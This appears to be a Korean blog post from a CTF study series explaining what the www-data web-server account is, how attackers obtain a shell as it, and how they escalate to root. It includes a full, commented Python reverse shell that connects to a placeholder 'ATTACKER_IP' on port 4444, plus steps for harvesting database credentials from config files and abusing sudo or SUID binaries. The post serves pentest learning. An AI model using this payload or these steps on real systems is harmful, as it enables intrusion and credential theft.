www-data

agnusdei·2025년 7월 21일

CTF

목록 보기
48/185

🔐 www-data와 펜테스팅에서의 의미

1. www-data는 누구인가?

  • 리눅스 기반 웹 서버(Apache, Nginx 등)는 보안 상의 이유로 제한된 권한을 가진 사용자 계정을 사용함.

  • 그게 바로 www-data.

  • 이 계정은 보통:

    • /var/www/html 등 웹 루트 디렉터리에만 쓰기 권한.
    • 시스템 전반에 접근하거나 민감한 파일을 읽을 수 없음 (/etc/shadow, /root 등 접근 불가).

2. 어떻게 www-data 셸을 얻는가?

웹 서버가 다음 중 하나에 취약할 때:

  • 파일 업로드 취약점
  • 원격 코드 실행(RCE)
  • 명령어 인젝션
  • LFI + 로그 주입 (log poisoning)
  • 기타 웹 취약점

이럴 때 Python 리버스 셸 같은 페이로드를 서버에서 실행시키면, 공격자는 www-data 권한으로 reverse shell을 얻음.

예시 (Python Reverse Shell):

import socket, subprocess, os  # 네트워크, 시스템 명령 실행, 파일 디스크립터 조작용 모듈 불러오기

s = socket.socket()  # 새 TCP 소켓 객체 생성 (기본값: IPv4, TCP)
s.connect(("ATTACKER_IP", 4444))  # 공격자의 IP와 포트로 연결 시도 (리버스 연결)

os.dup2(s.fileno(), 0)  # 소켓을 표준 입력(stdin, 0번 FD)으로 복제
os.dup2(s.fileno(), 1)  # 소켓을 표준 출력(stdout, 1번 FD)으로 복제
os.dup2(s.fileno(), 2)  # 소켓을 표준 에러(stderr, 2번 FD)으로 복제

subprocess.call(["/bin/sh", "-i"])  # 셸을 인터랙티브 모드로 실행. 입력/출력은 위에서 복제한 소켓으로 처리됨

3. www-data 셸을 얻은 후 할 수 있는 일

이제 공격자는 다음을 시도함:

행동설명
웹 디렉토리 파일 읽기config.php, .env 등에서 DB 비번 등 민감 정보 찾기
크론탭 확인자동 실행 스크립트를 통해 권한 상승 가능성 탐색
권한 상승 시도커널 익스플로잇, 잘못된 권한 설정, SUID 파일 등 활용
사용자 정보 수집/home, /etc/passwd 등에서 다른 사용자 존재 확인

4. 권한 상승 예시 흐름

  1. Reverse Shell → www-data 권한 확보
  2. /var/www/html/config.php에서 DB 계정 발견
  3. mysql 명령어로 DB 접속, 관리자 크리덴셜 획득
  4. sudo -l 명령어 실행 시 sudo 권한 없이 실행 가능한 바이너리 발견
  5. 해당 바이너리를 통해 root로 권한 상승

🧠 정리: 펜테스터가 www-data 셸을 얻는 이유

이유설명
출발점 역할권한 상승의 첫 번째 단계가 될 수 있음
민감 정보 접근DB 계정, API 키, 내부 경로 등 검색 가능
시스템 내부 탐색외부에 드러나지 않는 시스템 구성 확인 가능
침투 루트다른 사용자나 서비스로 피봇 가능

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글